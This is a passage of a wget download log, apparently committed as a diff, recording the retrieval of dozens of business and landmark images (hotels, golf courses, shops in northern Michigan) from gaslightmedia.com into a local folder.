+14:30:50 (6.87 MB/s) - `./original/975442714marshridge.jpg' saved [7205/7205]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/wargin.jpg
+           => `./original/wargin.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 79,483 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 64%    4.88 MB/s
+   50K .......... .......... .......                         100%    2.70 MB/s
+
+14:30:50 (3.79 MB/s) - `./original/wargin.jpg' saved [79483/79483]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/957990936tvedten.jpg
+           => `./original/957990936tvedten.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 81,353 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 62%   12.21 MB/s
+   50K .......... .......... .........                       100%   14.38 MB/s
+
+14:30:50 (12.93 MB/s) - `./original/957990936tvedten.jpg' saved [81353/81353]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/foxrun.jpg
+           => `./original/foxrun.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 26,020 [image/jpeg]
+
+    0K .......... .......... .....                           100%   12.41 MB/s
+
+14:30:50 (12.41 MB/s) - `./original/foxrun.jpg' saved [26020/26020]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/gaylordgolf.jpg
+           => `./original/gaylordgolf.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 173,151 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 29%    3.49 MB/s
+   50K .......... .......... .......... .......... .......... 59%   12.21 MB/s
+  100K .......... .......... .......... .......... .......... 88%    9.77 MB/s
+  150K .......... .........                                  100%    9.32 MB/s
+
+14:30:50 (6.61 MB/s) - `./original/gaylordgolf.jpg' saved [173151/173151]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/gaylordgolf.gif
+           => `./original/gaylordgolf.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,013 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%    4.88 MB/s
+   50K .......... .......... ..                              100%   21.76 MB/s
+
+14:30:50 (6.42 MB/s) - `./original/gaylordgolf.gif' saved [74013/74013]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/baymontmackinaw.jpg
+           => `./original/baymontmackinaw.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 32,549 [image/jpeg]
+
+    0K .......... .......... .......... .                    100%   15.52 MB/s
+
+14:30:50 (15.52 MB/s) - `./original/baymontmackinaw.jpg' saved [32549/32549]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/cottageinn.jpg
+           => `./original/cottageinn.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 33,947 [image/jpeg]
+
+    0K .......... .......... .......... ...                  100%   16.19 MB/s
+
+14:30:50 (16.19 MB/s) - `./original/cottageinn.jpg' saved [33947/33947]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/daysinngaylord.jpg
+           => `./original/daysinngaylord.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 33,043 [image/jpeg]
+
+    0K .......... .......... .......... ..                   100%   15.76 MB/s
+
+14:30:50 (15.76 MB/s) - `./original/daysinngaylord.jpg' saved [33043/33043]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/grandmackinaw.jpg
+           => `./original/grandmackinaw.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 153,808 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 33%   12.21 MB/s
+   50K .......... .......... .......... .......... .......... 66%    4.88 MB/s
+  100K .......... .......... .......... .......... .......... 99%   12.21 MB/s
+  150K                                                       100%  203.12 KB/s
+
+14:30:50 (8.15 MB/s) - `./original/grandmackinaw.jpg' saved [153808/153808]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/1028128085harbourpointe.jpg
+           => `./original/1028128085harbourpointe.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 36,534 [image/jpeg]
+
+    0K .......... .......... .......... .....                100%   17.42 MB/s
+
+14:30:50 (17.42 MB/s) - `./original/1028128085harbourpointe.jpg' saved [36534/36534]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/mackbayview.jpg
+           => `./original/mackbayview.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 26,142 [image/jpeg]
+
+    0K .......... .......... .....                           100%   12.47 MB/s
+
+14:30:50 (12.47 MB/s) - `./original/mackbayview.jpg' saved [26142/26142]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/mackbrigadoon.jpg
+           => `./original/mackbrigadoon.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 32,865 [image/jpeg]
+
+    0K .......... .......... .......... ..                   100%   15.67 MB/s
+
+14:30:50 (15.67 MB/s) - `./original/mackbrigadoon.jpg' saved [32865/32865]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/panel1.jpg
+           => `./original/panel1.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 86,265 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 59%   12.21 MB/s
+   50K .......... .......... .......... ....                 100%   11.15 MB/s
+
+14:30:50 (11.75 MB/s) - `./original/panel1.jpg' saved [86265/86265]
+
+--14:30:50--  http://www.gaslightmedia.com/images/original/ptsntscreen.jpg
+           => `./original/ptsntscreen.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 24,065 [image/jpeg]
+
+    0K .......... .......... ...                             100%   22.95 MB/s
+
+14:30:50 (22.95 MB/s) - `./original/ptsntscreen.jpg' saved [24065/24065]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/stignacebudgethost.gif
+           => `./original/stignacebudgethost.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 88,175 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 58%    9.77 MB/s
+   50K .......... .......... .......... ......               100%    5.04 MB/s
+
+14:30:51 (7.01 MB/s) - `./original/stignacebudgethost.gif' saved [88175/88175]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/southwell.jpg
+           => `./original/southwell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 146,027 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 35%    4.07 MB/s
+   50K .......... .......... .......... .......... .......... 70%   12.21 MB/s
+  100K .......... .......... .......... .......... ..        100%    2.77 MB/s
+
+14:30:51 (4.49 MB/s) - `./original/southwell.jpg' saved [146027/146027]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/emmetbrick.jpg
+           => `./original/emmetbrick.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 148,860 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 34%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 68%   12.21 MB/s
+  100K .......... .......... .......... .......... .....     100%    6.33 MB/s
+
+14:30:51 (8.87 MB/s) - `./original/emmetbrick.jpg' saved [148860/148860]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/troutcreek.JPG
+           => `./original/troutcreek.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 120,355 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 42%  675.68 KB/s
+   50K .......... .......... .......... .......... .......... 85%  862.07 KB/s
+  100K .......... .......                                    100%   17.12 MB/s
+
+14:30:51 (883.72 KB/s) - `./original/troutcreek.JPG' saved [120355/120355]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/brewbakers.JPG
+           => `./original/brewbakers.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 96,163 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 53%   12.21 MB/s
+   50K .......... .......... .......... .......... ...       100%    3.06 MB/s
+
+14:30:51 (5.09 MB/s) - `./original/brewbakers.JPG' saved [96163/96163]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/petoskeymuseum.jpg
+           => `./original/petoskeymuseum.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 409,393 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 12%    4.44 MB/s
+   50K .......... .......... .......... .......... .......... 25%    3.49 MB/s
+  100K .......... .......... .......... .......... .......... 37%    3.76 MB/s
+  150K .......... .......... .......... .......... .......... 50%    9.77 MB/s
+  200K .......... .......... .......... .......... .......... 62%    9.77 MB/s
+  250K .......... .......... .......... .......... .......... 75%   12.21 MB/s
+  300K .......... .......... .......... .......... .......... 87%    9.77 MB/s
+  350K .......... .......... .......... .......... ......... 100%   12.16 MB/s
+
+14:30:51 (6.40 MB/s) - `./original/petoskeymuseum.jpg' saved [409393/409393]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/1028573174crookedtree.jpg
+           => `./original/1028573174crookedtree.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 33,926 [image/jpeg]
+
+    0K .......... .......... .......... ...                  100%   16.18 MB/s
+
+14:30:51 (16.18 MB/s) - `./original/1028573174crookedtree.jpg' saved [33926/33926]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/963935690mackbridge.jpg
+           => `./original/963935690mackbridge.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 76,189 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 67%   12.21 MB/s
+   50K .......... .......... ....                            100%    3.97 MB/s
+
+14:30:51 (7.27 MB/s) - `./original/963935690mackbridge.jpg' saved [76189/76189]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/ppl.jpg
+           => `./original/ppl.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 25,314 [image/jpeg]
+
+    0K .......... .......... ....                            100%   12.07 MB/s
+
+14:30:51 (12.07 MB/s) - `./original/ppl.jpg' saved [25314/25314]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/skinordic.jpg
+           => `./original/skinordic.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 91,030 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 56%    4.07 MB/s
+   50K .......... .......... .......... ........             100%    6.33 MB/s
+
+14:30:51 (4.82 MB/s) - `./original/skinordic.jpg' saved [91030/91030]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/1044557271ymca.jpg
+           => `./original/1044557271ymca.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 106,113 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 48%   12.21 MB/s
+   50K .......... .......... .......... .......... .......... 96%    4.88 MB/s
+  100K ...                                                   100%    3.54 MB/s
+
+14:30:51 (7.23 MB/s) - `./original/1044557271ymca.jpg' saved [106113/106113]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/baywinds.jpg
+           => `./original/baywinds.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 109,323 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 46%    6.98 MB/s
+   50K .......... .......... .......... .......... .......... 93%    5.43 MB/s
+  100K ......                                                100%    6.60 MB/s
+
+14:30:51 (6.52 MB/s) - `./original/baywinds.jpg' saved [109323/109323]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/bcwncpa.jpg
+           => `./original/bcwncpa.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 28,776 [image/jpeg]
+
+    0K .......... .......... ........                        100%   13.72 MB/s
+
+14:30:51 (13.72 MB/s) - `./original/bcwncpa.jpg' saved [28776/28776]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/dragerboal.jpg
+           => `./original/dragerboal.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 102,351 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 50%    9.77 MB/s
+   50K .......... .......... .......... .......... ......... 100%    4.88 MB/s
+
+14:30:51 (6.51 MB/s) - `./original/dragerboal.jpg' saved [102351/102351]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/researchnorth.JPG
+           => `./original/researchnorth.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 47,303 [image/jpeg]
+
+    0K .......... .......... .......... .......... ......    100%   15.04 MB/s
+
+14:30:51 (15.04 MB/s) - `./original/researchnorth.JPG' saved [47303/47303]
+
+--14:30:51--  http://www.gaslightmedia.com/images/original/fullernick.jpg
+           => `./original/fullernick.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 29,800 [image/jpeg]
+
+    0K .......... .......... .........                       100%   14.21 MB/s
+
+14:30:51 (14.21 MB/s) - `./original/fullernick.jpg' saved [29800/29800]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/prestonfeather.jpg
+           => `./original/prestonfeather.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 31,172 [image/jpeg]
+
+    0K .......... .......... ..........                      100%   14.86 MB/s
+
+14:30:52 (14.86 MB/s) - `./original/prestonfeather.jpg' saved [31172/31172]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/fnbgaylord.jpg
+           => `./original/fnbgaylord.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 32,718 [image/jpeg]
+
+    0K .......... .......... .......... .                    100%   10.40 MB/s
+
+14:30:52 (10.40 MB/s) - `./original/fnbgaylord.jpg' saved [32718/32718]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/perryfarm.jpg
+           => `./original/perryfarm.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 25,573 [image/jpeg]
+
+    0K .......... .......... ....                            100%    8.13 MB/s
+
+14:30:52 (8.13 MB/s) - `./original/perryfarm.jpg' saved [25573/25573]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/remaxhs.jpg
+           => `./original/remaxhs.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 32,591 [image/jpeg]
+
+    0K .......... .......... .......... .                    100%   15.54 MB/s
+
+14:30:52 (15.54 MB/s) - `./original/remaxhs.jpg' saved [32591/32591]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/ymca.jpg
+           => `./original/ymca.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 141,894 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 36%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 72%    1.88 MB/s
+  100K .......... .......... .......... ........             100%   12.55 MB/s
+
+14:30:52 (3.98 MB/s) - `./original/ymca.jpg' saved [141894/141894]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/classiccarcocoon.jpg
+           => `./original/classiccarcocoon.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 365,204 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 14%   12.21 MB/s
+   50K .......... .......... .......... .......... .......... 28%    4.88 MB/s
+  100K .......... .......... .......... .......... .......... 42%    4.07 MB/s
+  150K .......... .......... .......... .......... .......... 56%    9.77 MB/s
+  200K .......... .......... .......... .......... .......... 70%   12.21 MB/s
+  250K .......... .......... .......... .......... .......... 84%  632.91 KB/s
+  300K .......... .......... .......... .......... .......... 98%    4.07 MB/s
+  350K ......                                                100%    6.49 MB/s
+
+14:30:52 (2.76 MB/s) - `./original/classiccarcocoon.jpg' saved [365204/365204]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/1020363628crookedtree.jpg
+           => `./original/1020363628crookedtree.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 35,138 [image/jpeg]
+
+    0K .......... .......... .......... ....                 100%   16.76 MB/s
+
+14:30:52 (16.76 MB/s) - `./original/1020363628crookedtree.jpg' saved [35138/35138]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/fireside.jpg
+           => `./original/fireside.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 125,022 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 40%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 81%    3.76 MB/s
+  100K .......... .......... ..                              100%   10.79 MB/s
+
+14:30:52 (5.96 MB/s) - `./original/fireside.jpg' saved [125022/125022]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/gloriebethb.jpg
+           => `./original/gloriebethb.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 15,646 [image/jpeg]
+
+    0K .......... .....                                      100%   14.92 MB/s
+
+14:30:52 (14.92 MB/s) - `./original/gloriebethb.jpg' saved [15646/15646]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/cifproducts.jpg
+           => `./original/cifproducts.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 112,798 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 45%    4.44 MB/s
+   50K .......... .......... .......... .......... .......... 90%   12.21 MB/s
+  100K ..........                                            100%    9.92 MB/s
+
+14:30:52 (6.72 MB/s) - `./original/cifproducts.jpg' saved [112798/112798]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/joanns.jpg
+           => `./original/joanns.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 38,548 [image/jpeg]
+
+    0K .......... .......... .......... .......              100%   12.25 MB/s
+
+14:30:52 (12.25 MB/s) - `./original/joanns.jpg' saved [38548/38548]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/kilwins.jpg
+           => `./original/kilwins.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 107,755 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 47%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 95%   12.21 MB/s
+  100K .....                                                 100%    5.11 MB/s
+
+14:30:52 (10.28 MB/s) - `./original/kilwins.jpg' saved [107755/107755]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/marshallsthb.jpg
+           => `./original/marshallsthb.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 12,388 [image/jpeg]
+
+    0K .......... ..                                         100%   11.81 MB/s
+
+14:30:52 (11.81 MB/s) - `./original/marshallsthb.jpg' saved [12388/12388]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/michpeddler.jpg
+           => `./original/michpeddler.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 24,867 [image/jpeg]
+
+    0K .......... .......... ....                            100%   23.72 MB/s
+
+14:30:52 (23.72 MB/s) - `./original/michpeddler.jpg' saved [24867/24867]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/1028128149molehole.jpg
+           => `./original/1028128149molehole.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 29,089 [image/jpeg]
+
+    0K .......... .......... ........                        100%   13.87 MB/s
+
+14:30:52 (13.87 MB/s) - `./original/1028128149molehole.jpg' saved [29089/29089]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/bayarea.jpg
+           => `./original/bayarea.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 16,276 [image/jpeg]
+
+    0K .......... .....                                      100%   15.52 MB/s
+
+14:30:52 (15.52 MB/s) - `./original/bayarea.jpg' saved [16276/16276]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/sooxlocks.JPG
+           => `./original/sooxlocks.JPG'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 121,807 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 42%    3.76 MB/s
+   50K .......... .......... .......... .......... .......... 84%    3.49 MB/s
+  100K .......... ........                                   100%   18.51 MB/s
+
+14:30:52 (4.15 MB/s) - `./original/sooxlocks.JPG' saved [121807/121807]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/gaylordmich.jpg
+           => `./original/gaylordmich.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 30,830 [image/jpeg]
+
+    0K .......... .......... ..........                      100%   14.70 MB/s
+
+14:30:52 (14.70 MB/s) - `./original/gaylordmich.jpg' saved [30830/30830]
+
+--14:30:52--  http://www.gaslightmedia.com/images/original/mackbridge.jpg
+           => `./original/mackbridge.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 76,189 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 67%    4.88 MB/s
+   50K .......... .......... ....                            100%   11.92 MB/s
+
+14:30:52 (6.05 MB/s) - `./original/mackbridge.jpg' saved [76189/76189]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/destinationmack.jpg
+           => `./original/destinationmack.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 87,265 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 58%    1.53 MB/s
+   50K .......... .......... .......... .....                100%   11.46 MB/s
+
+14:30:53 (2.38 MB/s) - `./original/destinationmack.jpg' saved [87265/87265]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/stignace.jpg
+           => `./original/stignace.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 31,621 [image/jpeg]
+
+    0K .......... .......... ..........                      100%    7.54 MB/s
+
+14:30:53 (7.54 MB/s) - `./original/stignace.jpg' saved [31621/31621]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/1053628526tomsmoms.jpg
+           => `./original/1053628526tomsmoms.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 80,131 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 63%   12.21 MB/s
+   50K .......... .......... ........                        100%   13.80 MB/s
+
+14:30:53 (12.74 MB/s) - `./original/1053628526tomsmoms.jpg' saved [80131/80131]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/theloon.jpg
+           => `./original/theloon.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 83,186 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 61%    6.10 MB/s
+   50K .......... .......... .......... .                    100%    7.63 MB/s
+
+14:30:53 (6.61 MB/s) - `./original/theloon.jpg' saved [83186/83186]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/lochenheath.jpg
+           => `./original/lochenheath.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 331,468 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 15%   12.21 MB/s
+   50K .......... .......... .......... .......... .......... 30%    4.88 MB/s
+  100K .......... .......... .......... .......... .......... 46%    9.77 MB/s
+  150K .......... .......... .......... .......... .......... 61%   12.21 MB/s
+  200K .......... .......... .......... .......... .......... 77%    9.77 MB/s
+  250K .......... .......... .......... .......... .......... 92%    9.77 MB/s
+  300K .......... .......... ...                             100%   23.14 MB/s
+
+14:30:53 (9.30 MB/s) - `./original/lochenheath.jpg' saved [331468/331468]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/restaurant.jpg
+           => `./original/restaurant.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 161,296 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 31%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 63%    4.07 MB/s
+  100K .......... .......... .......... .......... .......... 95%    9.77 MB/s
+  150K .......                                               100%    7.34 MB/s
+
+14:30:53 (6.99 MB/s) - `./original/restaurant.jpg' saved [161296/161296]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/ltbaygolf.jpg
+           => `./original/ltbaygolf.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 33,970 [image/jpeg]
+
+    0K .......... .......... .......... ...                  100%   16.20 MB/s
+
+14:30:53 (16.20 MB/s) - `./original/ltbaygolf.jpg' saved [33970/33970]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/rotary.jpg
+           => `./original/rotary.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 133,587 [image/jpeg]
+
+    0K .......... .......... .......... .......... .......... 38%    9.77 MB/s
+   50K .......... .......... .......... .......... .......... 76%    5.43 MB/s
+  100K .......... .......... ..........                      100%    9.91 MB/s
+
+14:30:53 (7.49 MB/s) - `./original/rotary.jpg' saved [133587/133587]
+
+--14:30:53--  http://www.gaslightmedia.com/images/original/cardiology.gif
+           => `./original/cardiology.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 64,595 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 79%   12.21 MB/s
